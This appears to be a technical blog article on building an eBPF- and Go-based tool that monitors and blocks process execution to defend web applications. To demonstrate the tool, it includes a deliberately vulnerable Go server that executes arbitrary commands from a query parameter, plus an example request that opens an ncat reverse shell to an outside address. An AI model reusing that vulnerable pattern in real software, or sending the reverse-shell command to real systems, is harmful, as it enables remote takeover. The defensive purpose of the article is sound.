eBPF-Based ADR: Real-time App Defense
Table of Contents
Introduction #
Modern web applications are not just convenient services but complex ecosystems that interact with users on multiple levels. Each of these levels can become an entry point for attacks. Vulnerabilities like SQL injection, RCE (Remote Command Execution), SSTI (Server-Side Template Injection), SSRF (Server-Side Request Forgery), and others allow hackers to gain unauthorized access to data, resources, and systems.
To protect web applications, various security measures are often used, such as Web Application Firewalls (WAF), Firewalls, and IDS/IPS (Intrusion Detection System/Intrusion Prevention System). However, these measures are typically focused on the system’s perimeter and may not prevent attacks targeting internal components. This is where ADR (Application Detection and Response) comes into play.
In this article, we will cover:
- Clear explanations of complex concepts.
- Popular technologies for implementing ADR (eBPF, Go, and others).
- Practical examples of detecting and preventing common attacks.
The goal of this article is to help you understand how ADR works and how it can be implemented using eBPF + Golang.
Introduction to ADR #
Before diving into the details of ADR, it is important to recognize that it addresses a critical gap in the security strategies of many organizations - the lack of an effective threat detection mechanism at the application level.
A WAF (Web Application Firewall) is a security tool designed to monitor, filter, and block HTTP traffic coming to and from a web application. Operating at the network level, a WAF protects web applications from attacks such as cross-site scripting (XSS), SQL injections, and others.
Many organizations use WAFs as their primary means of protection against application-level threats, but this approach has several significant limitations:
- Focus on the network level: WAFs analyze incoming traffic at the network level, trying to identify potential threats. This approach is effective against signature-based attacks but does not provide a complete picture of what is happening within the application itself.
- False positives: Due to the lack of context related to the application’s logic, WAFs often generate a large number of false positives. This creates additional strain on security teams.
- Vulnerability to evasion techniques: One of the most critical drawbacks of WAFs is their vulnerability to evasion methods. Attackers can bypass protection by using encoding variants, protocol manipulations, payload obfuscation, or exploiting weaknesses within the application itself that remain invisible at the network level.
Application Detection & Response (ADR) is a more advanced approach to web application security, focused on protecting applications during runtime. Unlike traditional security tools like WAF, IDS/IPS, which monitor infrastructure or network perimeters, ADR operates directly within the application, analyzing its behavior in real time. By detecting anomalous actions within components that may signal the onset of an attack, ADR enables the prevention of the attack before it escalates. ADR utilizes modern instrumentation techniques and is designed with a focus on ease of use and minimal impact on application performance and stability. This sets it apart from older methods, such as Runtime Application Self-Protection (RASP).
ADR systems use various methods to detect attacks, including:
- Network traffic analysis: Monitors suspicious requests and connections.
- System call monitoring: Detects attempts to execute malicious commands.
- User behavior analysis: Tracks unusual actions that may indicate account compromise.
- Machine learning: Develops models for automatically detecting new types of threats.
Advantages of using ADR:
- In-depth analysis: ADR analyzes not only network traffic but also the internal behavior of the application, allowing for the detection of more complex and hidden attacks.
- Counteracting WAF evasion: ADR serves as an additional layer of defense, detecting threats that have bypassed traditional WAF mechanisms.
- Automation: Many ADR systems can automatically respond to threats by blocking malicious requests and notifying administrators.
- Integration: ADR can provide application-level analysis for security teams without requiring prior “embedding” of the application by developers.
- Protection against zero-day vulnerabilities: With its deep analysis of application behavior, ADR can identify and respond to new attack patterns, enhancing protection against zero-day vulnerabilities.
To support all of this, ADR systems utilize the modern technology eBPF.
Introduction to eBPF #
eBPF is a powerful technology that allows running custom code directly in the kernel space. Think of it as a microprogram inside the operating system.
Why do we need it?
- eBPF allows us to create a highly precise and fast mechanism for monitoring system calls and network traffic in real time.
- This gives us the ability to detect attacks at the earliest stages.
You can read more about eBPF in my article.
Example in Action #
Idea and Demonstration of Functionality #
To begin, let’s take a look at an example of a program I have already written to understand its capabilities and principles. Please note that this program is intended solely to demonstrate the capabilities of eBPF and a minimal implementation of ADR (Application Detection & Response).
Configuration File #
The program uses a configuration file to define rules and permissions. An example of such a file looks as follows:
targets:
- type: "command"
value: "/usr/bin/whoami"
actions:
block: false
- type: "pid"
value: 309413
actions:
monitor: true
block: true
- type: "uid"
value: 1000
actions:
monitor: false
Explanation of Configuration Structure #
- targets - a list of targets for monitoring or blocking.
- type - the type of target. This can be:
- command - the command that should be allowed or blocked.
- pid - the process ID (
PID
) for which the rules will apply. - uid - the user ID (
UID
) for which the rules will apply.
- value - the value for the specified type (e.g., the path to a command,
PID
, orUID
). - actions - actions that can be applied:
- monitor - monitoring activity (logging execution).
- block - blocking the execution of a command or action.
It is important to note that when the configuration file is changed, the rules are updated in real time, without the need to restart the program.
Priority of Rule Application #
If a target falls under multiple categories, the following priority order is used:
- command - checked first.
- pid - if the
command
is not found, thePID
is checked. - uid - if neither the
command
norPID
match, the rule forUID
is applied.
Example of Program #
Let’s assume we have a server that accepts HTTP requests at the following URL:
http://localhost:8080/?cmd=command
Let’s consider a vulnerability of RCE in its simplest implementation.
The server executes the provided command. Let’s assume the developers initially intended for the server to only handle the whoami
command, but due to carelessness, they allowed the execution of arbitrary commands. As a result, an attacker could send a request with a malicious command, such as:
http://localhost:8080/?cmd=ncat 10.10.10.10 9001 -e sh
Click here to see the full code:
package main
import (
"errors"
"log"
"net/http"
"os/exec"
"strings"
)
func parseCmd(cmd string) (string, []string, error) {
args := strings.Split(cmd, " ")
if len(args) == 0 {
return "", nil, errors.New("no command provided")
}
return args[0], args[1:], nil
}
func rce(w http.ResponseWriter, r *http.Request) {
command := r.URL.Query().Get("cmd")
if command == "" {
http.Error(w, "cmd parameter is required", http.StatusBadRequest)
return
}
path, args, err := parseCmd(command)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
cmd := exec.Command(path, args...)
out, err := cmd.Output()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
log.Printf("Command output: %s", out)
w.Write(out)
}
func main() {
http.HandleFunc("/", rce)
http.ListenAndServe(":8080", nil)
}
This request could lead to the execution of a dangerous command on the server. This situation is known as Remote Command Execution (RCE) - one of the most serious vulnerabilities. However, ADR is capable of preventing the execution of this command.
Example scenario using ADR:
- The pid section specifies the PID of the server process.
- The command section allows only the
whoami
command. - The uid section can specify the UID of a user, enabling monitoring of all commands executed by that user.
As a result, the attacker will not be able to execute arbitrary commands, and the actions of users and processes will be under control. ADR acts as an additional layer of protection, enabling faster detection and correction of code errors. This way, ADR can prevent the exploitation of vulnerabilities and provide time for developers to fix them.
Before Enabling ADR #
- The attacker sends a request with an arbitrary command.
- The server executes this command without restrictions.
- There is a risk of executing malicious code and compromising the system.
After Enabling ADR #
- A request with an arbitrary command arrives.
- ADR intercepts the
execve
system call. - First, the rule for the command is checked. If the command does not match the allowed ones (e.g., not
whoami
), it is blocked. - If no rule for the command is found, the rule for the
PID
is checked. If the server’sPID
is in the target list with theblock: true
flag, the command execution is blocked. - If neither the command rule nor the
PID
rule is triggered, the rule for theUID
is checked.
Next, let’s look at the process of creating the program I wrote using eBPF and Go, which is designed to intercept and monitor system calls or block them.
Implementation of the eBPF program #
To begin, let’s define some constants and structures:
#define MAX_CMD_LEN 32
#define ARG_SIZE 64
#define MAX_ARGS 6
#define FULL_MAX_ARGS_ARR (MAX_ARGS * ARG_SIZE)
#define LAST_ARG (FULL_MAX_ARGS_ARR - ARG_SIZE)
MAX_CMD_LEN
: The maximum length of a command name. We will assume that 32 characters are sufficient for most cases.ARG_SIZE
: The maximum size of a single argument. We’ll allocate 64 bytes to accommodate most arguments.MAX_ARGS
: The maximum number of arguments we want to analyze. We’ll limit it to 6 arguments.FULL_MAX_ARGS_ARR
: This is a calculated value representing the total size of the array for all arguments.LAST_ARG
: The index of the last element in the arguments array. This is used for convenience when processing the array.
struct trace_event_raw_sys_enter {
char unused1[16];
long unsigned int args[MAX_ARGS];
};
Each time a system call occurs in our program, the operating system creates a special data structure to store information about it. This structure is called trace_event_raw_sys_enter
.
- Unused bytes: The first 16 bytes of this structure are not needed for our purposes.
- Arguments array: The second field is an array that stores the values of the arguments passed to the system call.
Clarification: We don’t have to create these structures ourselves, as we can use vmlinux.h
.
However, since I’m not using vmlinux.h
, I need to add alignment in the structure.
typedef struct {
unsigned int val;
} kuid_t;
struct task_struct {
struct task_struct *real_parent;
__u32 tgid;
};
To obtain the parent process ID (PPID
), we will need the task_struct
structure. This structure contains information about the current process, including a pointer to the parent process structure.
struct event {
__u32 uid;
__u32 pid;
__u32 ppid;
__u32 args_count;
__u32 args_size;
char command[MAX_CMD_LEN];
char args[FULL_MAX_ARGS_ARR];
};
The event
structure is designed to store information about each recorded event (in our case, the process launch). It contains the following fields:
uid
: The user ID of the person who launched the process.pid
: The process ID of the current process.ppid
: The parent process ID.args_count
: The number of arguments passed to the process.args_size
: The total size of all arguments.command
: The name of the launched command.args
: An array for storing the arguments passed to the command.
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
We use a ring buffer to store information about events.
A ring buffer is a special data structure that allows you to efficiently add and remove items. In our case, the buffer will store event structures containing information about running processes.
The max_entries
attribute defines the maximum number of events that can be simultaneously stored in the buffer.
struct TargetKey {
__u8 type; // 'c' for command, 'u' for UID, 'p' for PPID
// padding is required to align the 4-byte __u32 id
__u8 reserved[3];
union {
char command[MAX_CMD_LEN];
__u32 id;
};
};
The TargetKey
structure is used to store keys in our targets
map (which we will create later). The key can represent the command name (‘c’), user ID (‘u’), or process ID (‘p’).
The reserved
field is used for proper alignment of data in memory.
The union
allows us to store either the command name or the identifier (UID
or PID
) in the same memory space.
typedef __u8 TargetValue;
// +---+---+---+---+---+---+---+---+
// | 7 | 6 | 5 | 4 | 3 | 2 | M | B |
// +---+---+---+---+---+---+---+---+
// | M | B |
// | 1 | 0 | - Monitored
// | 0 | 1 | - Blocked
// | 1 | 1 | - Monitored and Blocked
The TargetValue
type is used to store information about the actions that should be performed on a process found by the corresponding key in the targets
map.
It is an 8-bit integer, where each bit has a specific meaning:
- Bit M (Monitor): If set to 1, the process should be monitored.
- Bit B (Block): If set to 1, the process should be blocked.
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, struct TargetKey);
__type(value, TargetValue);
__uint(max_entries, 1024);
} targets SEC(".maps");
The targets
map is used to store filtering rules.
It is a hash table where the key is the TargetKey
structure (command name, UID
, or PID
), and the value is the TargetValue
structure (information about the actions to be performed).
Next, we’ll create functions to check the bits in the TargetValue
value.
The is_monitored
function checks if the M (monitoring) bit is set, and the is_blocked
function checks if the B (blocking) bit is set.
These functions use bitwise operations to determine if the respective bits are set in the TargetValue.
static __always_inline int is_monitored(TargetValue val) {
return (val & 0b10) >> 1; // Check the monitor bit
}
static __always_inline int is_blocked(TargetValue val) {
return val & 0b01; // Check the block bit
}
Now, let’s create the function for monitoring system calls, monitor_syscalls
.
Inside the monitor_syscalls
function, we first gather information about the running process:
- We extract the current process’s ID (
PID
) and its parent process’s ID (PPID
). - We retrieve the user ID (
UID
) of the user who launched the process.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
int ret;
__u32 pid = bpf_get_current_pid_tgid() >> 32;
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
struct event evt = {0};
__u32 uid = bpf_get_current_uid_gid();
// ...
}
- We extract the name of the program being executed.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
char *path_ptr = (char *)BPF_CORE_READ(ctx, args[0]);
if (bpf_probe_read_str(&evt.command, sizeof(evt.command), path_ptr) < 0)
return 0;
// ...
}
We check whether the process needs to be monitored:
- We use the
check_action
function to check based on the program name,UID
, orPPID
. - If the process doesn’t require monitoring, we exit the function.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
__u8 action_type;
int result = check_action(ppid, uid, evt.command, is_monitored, &action_type);
if (result == 0)
return 0;
// ...
}
We gather event information:
- We populate the
event
structure with details about the process:PID
,UID
, andPPID
. - We initialize the argument counters (count and total size).
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
evt.pid = pid;
evt.uid = uid;
evt.ppid = ppid;
evt.args_count = 0;
evt.args_size = 0;
const char **args = (const char **)(ctx->args[1]);
const char *argp;
// ...
}
We extract the first argument (the program path):
- We safely read the first argument string and store it in the
args
field of theevent
structure. - We update the total argument size counter.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
ret = bpf_probe_read_user_str(evt.args, ARG_SIZE, (const char *)ctx->args[0]);
if (ret < 0)
return 0;
if (ret <= ARG_SIZE) {
evt.args_size += ret;
} else {
evt.args[0] = '\0';
evt.args_size++;
}
evt.args_count++;
// ...
}
We iterate through the remaining arguments (up to MAX_ARGS
):
- We safely read the address of each argument from the system call’s argument array.
- We check if there is enough space in the argument buffer for the next argument.
- If space is available, we safely read the argument string and add it to the buffer.
- We update the argument count and total size counters.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
#pragma unroll
for (__u32 i = 1; i < MAX_ARGS; i++) {
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[i]);
if (ret < 0)
break;
if (evt.args_size > LAST_ARG)
break;
ret = bpf_probe_read_user_str(&evt.args[evt.args_size], ARG_SIZE, argp);
if (ret < 0)
break;
evt.args_count++;
evt.args_size += ret;
}
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[MAX_ARGS]);
if (ret < 0)
return 0;
evt.args_count++;
}
We write the event to the ring buffer:
- We reserve space in the
events
ring buffer to store theevent
structure. - We copy the
event
structure into the reserved memory area. - We send the
event
to the buffer.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
void *ringbuf_data = bpf_ringbuf_reserve(&events, sizeof(evt), 0);
if (!ringbuf_data)
return 0;
__builtin_memcpy(ringbuf_data, &evt, sizeof(evt));
bpf_ringbuf_submit(ringbuf_data, 0);
return 0;
}
Now, let’s write the function to intercept and block system calls.
struct linux_binprm {
char unused1[72];
struct cred *cred;
char unused2[24];
const char *filename;
char unused3[312];
};
struct cred {
char unused1[8];
kuid_t uid;
};
SEC("lsm/bprm_check_security")
int BPF_PROG(enforce_execve, struct linux_binprm *bprm, int ret) {
if (ret != 0)
return ret;
__u32 cred_uid = -1;
char current_comm[MAX_CMD_LEN] = {0};
bpf_probe_read_kernel(&cred_uid, sizeof(cred_uid), &bprm->cred->uid.val);
bpf_probe_read_kernel_str(¤t_comm, sizeof(current_comm), bprm->filename);
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
__u8 action_type;
int result = check_action(ppid, cred_uid, current_comm, is_blocked, &action_type);
if (result)
return -1;
return ret;
}
char LICENSE[] SEC("license") = "GPL";
Since I haven’t included vmlinux.h
, I will use the unused
fields for proper alignment.
Next, inside the function, we again retrieve the parent process ID (PPID
), the user ID (UID
) of the process initiator, and the filename
where the path to the called file is stored.
We check if the system call should be blocked:
- We use the
check_action
function to check based on the program name,UID
, orPPID
. - If the process requires blocking, we return -1, effectively preventing the system call.
Full code #
Click here to see the full code:
//go:build ignore
#include <linux/bpf.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
#define MAX_CMD_LEN 32
#define ARG_SIZE 64
#define MAX_ARGS 6
#define FULL_MAX_ARGS_ARR (MAX_ARGS * ARG_SIZE)
#define LAST_ARG (FULL_MAX_ARGS_ARR - ARG_SIZE)
struct trace_event_raw_sys_enter {
char unused1[16];
long unsigned int args[MAX_ARGS];
};
typedef struct {
unsigned int val;
} kuid_t;
struct task_struct {
struct task_struct *real_parent;
__u32 tgid;
};
struct event {
__u32 uid;
__u32 pid;
__u32 ppid;
__u32 args_count;
__u32 args_size;
char command[MAX_CMD_LEN];
char args[FULL_MAX_ARGS_ARR];
};
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
struct TargetKey {
__u8 type; // 'c' for command, 'u' for UID, 'p' for PPID
// padding is required to align the 4-byte __u32 id
__u8 reserved[3];
union {
char command[MAX_CMD_LEN];
__u32 id;
};
};
typedef __u8 TargetValue;
// +---+---+---+---+---+---+---+---+
// | 7 | 6 | 5 | 4 | 3 | 2 | M | B |
// +---+---+---+---+---+---+---+---+
// | M | B |
// | 1 | 0 | - Monitored
// | 0 | 1 | - Blocked
// | 1 | 1 | - Monitored and Blocked
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, struct TargetKey);
__type(value, TargetValue);
__uint(max_entries, 1024);
} targets SEC(".maps");
static __always_inline int is_monitored(TargetValue val) {
return (val & 0b10) >> 1; // Check the monitor bit
}
static __always_inline int is_blocked(TargetValue val) {
return val & 0b01; // Check the block bit
}
static __always_inline int check_action(__u32 pid, __u32 uid, const char *cmd, int (*check_fn)(TargetValue), __u8 *action_type) {
struct TargetKey key = {};
TargetValue *value;
__builtin_memset(&key, 0, sizeof(key));
key.type = 'c';
bpf_probe_read_str(key.command, sizeof(key.command), cmd);
value = bpf_map_lookup_elem(&targets, &key);
if (value) {
*action_type = 'c';
return check_fn(*value);
}
__builtin_memset(&key, 0, sizeof(key));
key.type = 'p';
key.id = pid;
value = bpf_map_lookup_elem(&targets, &key);
if (value) {
*action_type = 'p';
return check_fn(*value);
}
__builtin_memset(&key, 0, sizeof(key));
key.type = 'u';
key.id = uid;
value = bpf_map_lookup_elem(&targets, &key);
if (value) {
*action_type = 'u';
return check_fn(*value);
}
return 0;
}
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
int ret;
__u32 pid = bpf_get_current_pid_tgid() >> 32;
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
struct event evt = {0};
__u32 uid = bpf_get_current_uid_gid();
char *path_ptr = (char *)BPF_CORE_READ(ctx, args[0]);
if (bpf_probe_read_str(&evt.command, sizeof(evt.command), path_ptr) < 0)
return 0;
__u8 action_type;
int result = check_action(ppid, uid, evt.command, is_monitored, &action_type);
if (result == 0)
return 0;
evt.pid = pid;
evt.uid = uid;
evt.ppid = ppid;
evt.args_count = 0;
evt.args_size = 0;
const char **args = (const char **)(ctx->args[1]);
const char *argp;
ret = bpf_probe_read_user_str(evt.args, ARG_SIZE, (const char *)ctx->args[0]);
if (ret < 0)
return 0;
if (ret <= ARG_SIZE) {
evt.args_size += ret;
} else {
evt.args[0] = '\0';
evt.args_size++;
}
evt.args_count++;
#pragma unroll
for (__u32 i = 1; i < MAX_ARGS; i++) {
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[i]);
if (ret < 0)
break;
if (evt.args_size > LAST_ARG)
break;
ret = bpf_probe_read_user_str(&evt.args[evt.args_size], ARG_SIZE, argp);
if (ret < 0)
break;
evt.args_count++;
evt.args_size += ret;
}
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[MAX_ARGS]);
if (ret < 0)
return 0;
evt.args_count++;
void *ringbuf_data = bpf_ringbuf_reserve(&events, sizeof(evt), 0);
if (!ringbuf_data)
return 0;
__builtin_memcpy(ringbuf_data, &evt, sizeof(evt));
bpf_ringbuf_submit(ringbuf_data, 0);
return 0;
}
struct linux_binprm {
char unused1[72];
struct cred *cred;
char unused2[24];
const char *filename;
char unused3[312];
};
struct cred {
char unused1[8];
kuid_t uid;
};
SEC("lsm/bprm_check_security")
int BPF_PROG(enforce_execve, struct linux_binprm *bprm, int ret) {
if (ret != 0)
return ret;
__u32 cred_uid = -1;
char current_comm[MAX_CMD_LEN] = {0};
bpf_probe_read_kernel(&cred_uid, sizeof(cred_uid), &bprm->cred->uid.val);
bpf_probe_read_kernel_str(¤t_comm, sizeof(current_comm), bprm->filename);
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
__u8 action_type;
int result = check_action(ppid, cred_uid, current_comm, is_blocked, &action_type);
if (result)
return -1;
return ret;
}
char LICENSE[] SEC("license") = "GPL";
Program implementation in golang #
To run eBPF programs, we will write a small program in Golang that performs the following actions:
- Runs the eBPF programs.
// ...
if err := rlimit.RemoveMemlock(); err != nil {
log.Fatalf("Failed to remove memlock: %v", err)
}
// Attach eBPF programs
monProg := objs.MonitorSyscalls
monLnk, err := link.Tracepoint("syscalls", "sys_enter_execve", monProg, nil)
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer monLnk.Close()
lsmProg := objs.EnforceExecve
lsmLnk, err := link.AttachLSM(link.LSMOptions{
Program: lsmProg,
})
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer lsmLnk.Close()
log.Println("eBPF programs are attached successfully.")
// ...
- Parses the configuration file, initializes eBPF maps, and fills them.
// ...
var objs adrObjects
if err := loadAdrObjects(&objs, nil); err != nil {
log.Fatalf("Error loading eBPF objects: %v", err)
}
defer objs.Close()
currentTargets := populateMap(objs.Targets, config, nil)
// ...
- Listens for events from eBPF programs and outputs data to the console.
// ...
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
done := make(chan bool)
go func() {
log.Println("Listening for events...")
for {
record, err := rd.Read()
if err != nil {
if errors.Is(err, ringbuf.ErrFlushed) {
done <- true
break
}
log.Printf("Error reading from ring buffer: %v", err)
continue
}
var event Event
if err := event.UnmarshalBinary(record.RawSample); err != nil {
log.Printf("Error unmarshaling event: %v", err)
continue
}
log.Printf(
"Event: UID=%d PID=%d PPID=%d Command=%s\n",
event.UID, event.PID, event.PPID,
printArgs(&event),
)
}
}()
<-sig
log.Println("Received exit signal (Ctrl+C), starting timeout...")
timeout := time.After(1 * time.Second)
select {
case <-timeout:
log.Println("Timeout reached, closing reader...")
if err := rd.Flush(); err != nil {
log.Printf("Error flushing ring buffer: %v", err)
}
case <-done:
log.Println("Reader finished early, exiting...")
}
log.Println("Exiting...")
// ...
- Monitors changes in the configuration file in real-time and updates the maps whenever changes occur.
// ...
func watchConfig(configFile string, targetsMap *ebpf.Map, currentTargets map[TargetKey]uint8) {
watcher, err := fsnotify.NewWatcher()
if err != nil {
log.Fatalf("Failed to create file watcher: %v", err)
}
defer watcher.Close()
if err := watcher.Add(configFile); err != nil {
log.Fatalf("Failed to watch config file: %v", err)
}
for {
select {
case event, ok := <-watcher.Events:
if !ok {
return
}
if event.Op.Has(fsnotify.Write) {
log.Println("Config file changed, reloading...")
time.Sleep(1 * time.Second)
var config Config
if err := loadConfig(event.Name, &config); err != nil {
log.Printf("Error reloading config: %v", err)
continue
}
populateMap(targetsMap, config, currentTargets)
}
case err := <-watcher.Errors:
log.Printf("File watcher error: %v", err)
}
}
}
// ...
Full code #
Click here to see the full code:
package main
import (
"encoding/binary"
"errors"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
"unsafe"
"github.com/cilium/ebpf"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/ringbuf"
"github.com/cilium/ebpf/rlimit"
"github.com/fsnotify/fsnotify"
"gopkg.in/yaml.v2"
)
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go adr ./bpf/adr.c
const (
MaxCmdLen = 32
ArgSize = 64
MaxArgs = 6
FullMaxArgsArr = MaxArgs * ArgSize
)
type Event struct {
UID uint32
PID uint32
PPID uint32
ArgsCount uint32
ArgSize uint32
Command [MaxCmdLen]byte
Args [FullMaxArgsArr]byte
}
type Config struct {
Targets []Target `yaml:"targets"`
}
type Target struct {
Type string `yaml:"type"` // e.g., "command", "pid", "uid"
Value string `yaml:"value"` // e.g., "/usr/bin/ls", "1234", "0"
Actions Actions `yaml:"actions"` // Actions that can be applied to this target
}
type Actions struct {
Monitor bool `yaml:"monitor"`
Block bool `yaml:"block"`
}
func (e *Event) UnmarshalBinary(data []byte) error {
if len(data) < int(unsafe.Sizeof(*e)) {
return fmt.Errorf("not enough data to unmarshal Event: len=%d", len(data))
}
e.UID = binary.LittleEndian.Uint32(data[0:4])
e.PID = binary.LittleEndian.Uint32(data[4:8])
e.PPID = binary.LittleEndian.Uint32(data[8:12])
e.ArgsCount = binary.LittleEndian.Uint32(data[12:16])
e.ArgSize = binary.LittleEndian.Uint32(data[16:20])
copy(e.Command[:], data[20:52])
copy(e.Args[:], data[52:])
return nil
}
func main() {
configFile := "config.yml"
var config Config
if err := loadConfig(configFile, &config); err != nil {
log.Fatalf("Error loading config: %v", err)
}
if err := rlimit.RemoveMemlock(); err != nil {
log.Fatalf("Failed to remove memlock: %v", err)
}
var objs adrObjects
if err := loadAdrObjects(&objs, nil); err != nil {
log.Fatalf("Error loading eBPF objects: %v", err)
}
defer objs.Close()
currentTargets := populateMap(objs.Targets, config, nil)
// Attach eBPF programs
monProg := objs.MonitorSyscalls
monLnk, err := link.Tracepoint("syscalls", "sys_enter_execve", monProg, nil)
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer monLnk.Close()
lsmProg := objs.EnforceExecve
lsmLnk, err := link.AttachLSM(link.LSMOptions{
Program: lsmProg,
})
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer lsmLnk.Close()
log.Println("eBPF programs are attached successfully.")
rd, err := ringbuf.NewReader(objs.Events)
if err != nil {
log.Fatalf("Failed to open ring buffer: %v", err)
}
defer rd.Close()
go watchConfig(configFile, objs.Targets, currentTargets)
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
done := make(chan bool)
go func() {
log.Println("Listening for events...")
for {
record, err := rd.Read()
if err != nil {
if errors.Is(err, ringbuf.ErrFlushed) {
done <- true
break
}
log.Printf("Error reading from ring buffer: %v", err)
continue
}
var event Event
if err := event.UnmarshalBinary(record.RawSample); err != nil {
log.Printf("Error unmarshaling event: %v", err)
continue
}
log.Printf(
"Event: UID=%d PID=%d PPID=%d Command=%s\n",
event.UID, event.PID, event.PPID,
printArgs(&event),
)
}
}()
<-sig
log.Println("Received exit signal (Ctrl+C), starting timeout...")
timeout := time.After(1 * time.Second)
select {
case <-timeout:
log.Println("Timeout reached, closing reader...")
if err := rd.Flush(); err != nil {
log.Printf("Error flushing ring buffer: %v", err)
}
case <-done:
log.Println("Reader finished early, exiting...")
}
log.Println("Exiting...")
}
func loadConfig(filename string, config *Config) error {
file, err := os.Open(filename)
if err != nil {
return fmt.Errorf("failed to open config file: %w", err)
}
defer file.Close()
stat, err := file.Stat()
if err != nil || stat.Size() == 0 {
return fmt.Errorf("config file is empty or invalid")
}
decoder := yaml.NewDecoder(file)
if err := decoder.Decode(config); err != nil {
return fmt.Errorf("failed to decode YAML config: %w", err)
}
return nil
}
type TargetKey struct {
Type uint8 // 'c' = command, 'p' = PID, 'u' = UID
Reserved [3]byte // Padding for alignment
Data [32]byte // Can store either a command (char[32]) or a 32-bit ID
}
func (k TargetKey) String() string {
// e.g. -> c:/usr/bin/ls or u:1000 or p:1234
switch k.Type {
case 'c':
return fmt.Sprintf("c:%s", string(k.Data[:]))
case 'u', 'p':
id := binary.LittleEndian.Uint32(k.Data[:4])
return fmt.Sprintf("%c:%d", k.Type, id)
default:
return fmt.Sprintf("unknown:%d", k.Type)
}
}
func NewTargetKey(targetType byte, value string) (TargetKey, error) {
var key TargetKey
key.Type = targetType
if targetType == 'c' { // Command
if len(value) > 32 {
return key, fmt.Errorf("command too long (max 32 bytes): %s", value)
}
copy(key.Data[:], value)
} else if targetType == 'u' || targetType == 'p' { // UID or PID
var id uint32
fmt.Sscanf(value, "%d", &id)
binary.LittleEndian.PutUint32(key.Data[:4], id)
} else {
return key, fmt.Errorf("unknown target type: %c", targetType)
}
return key, nil
}
func NewTargetValue(monitor, block bool) uint8 {
var value uint8
if monitor {
value |= 1 << 1 // Bit 1 = Monitor
}
if block {
value |= 1 // Bit 0 = Block
}
return value
}
func populateMap(targetsMap *ebpf.Map, config Config, currentTargets map[TargetKey]uint8) map[TargetKey]uint8 {
if currentTargets == nil {
currentTargets = make(map[TargetKey]uint8)
}
newTargets := make(map[TargetKey]uint8)
for _, target := range config.Targets {
var targetType byte
switch target.Type {
case "command":
targetType = 'c'
case "uid":
targetType = 'u'
case "pid":
targetType = 'p'
default:
log.Printf("Unknown target type: %s", target.Type)
continue
}
key, err := NewTargetKey(targetType, target.Value)
if err != nil {
log.Printf("Failed to create key for target %+v: %v", target, err)
continue
}
value := NewTargetValue(target.Actions.Monitor, target.Actions.Block)
newTargets[key] = value
if err := targetsMap.Put(key, value); err != nil {
log.Printf("Failed to put key-value pair into eBPF map: %v", err)
}
}
for key := range currentTargets {
if _, exists := newTargets[key]; !exists {
if err := targetsMap.Delete(key); err != nil && !errors.Is(err, ebpf.ErrKeyNotExist) {
log.Printf("Failed to delete key %s from eBPF map: %v", key, err)
}
}
}
return newTargets
}
func watchConfig(configFile string, targetsMap *ebpf.Map, currentTargets map[TargetKey]uint8) {
watcher, err := fsnotify.NewWatcher()
if err != nil {
log.Fatalf("Failed to create file watcher: %v", err)
}
defer watcher.Close()
if err := watcher.Add(configFile); err != nil {
log.Fatalf("Failed to watch config file: %v", err)
}
for {
select {
case event, ok := <-watcher.Events:
if !ok {
return
}
if event.Op.Has(fsnotify.Write) {
log.Println("Config file changed, reloading...")
time.Sleep(1 * time.Second)
var config Config
if err := loadConfig(event.Name, &config); err != nil {
log.Printf("Error reloading config: %v", err)
continue
}
populateMap(targetsMap, config, currentTargets)
}
case err := <-watcher.Errors:
log.Printf("File watcher error: %v", err)
}
}
}
func printArgs(e *Event) string {
argsCounter := 0
args := ""
for i := 0; i < int(e.ArgSize) && argsCounter < int(e.ArgsCount); i++ {
if e.Args[i] == 0 {
argsCounter++
if argsCounter == int(e.ArgsCount) {
break
}
args += " "
continue
}
args += string(e.Args[i])
}
if e.ArgsCount == MaxArgs+1 {
args += " ..."
}
return args
}
Compiling #
Now we can generate the eBPF code and compile the application.
Conclusion #
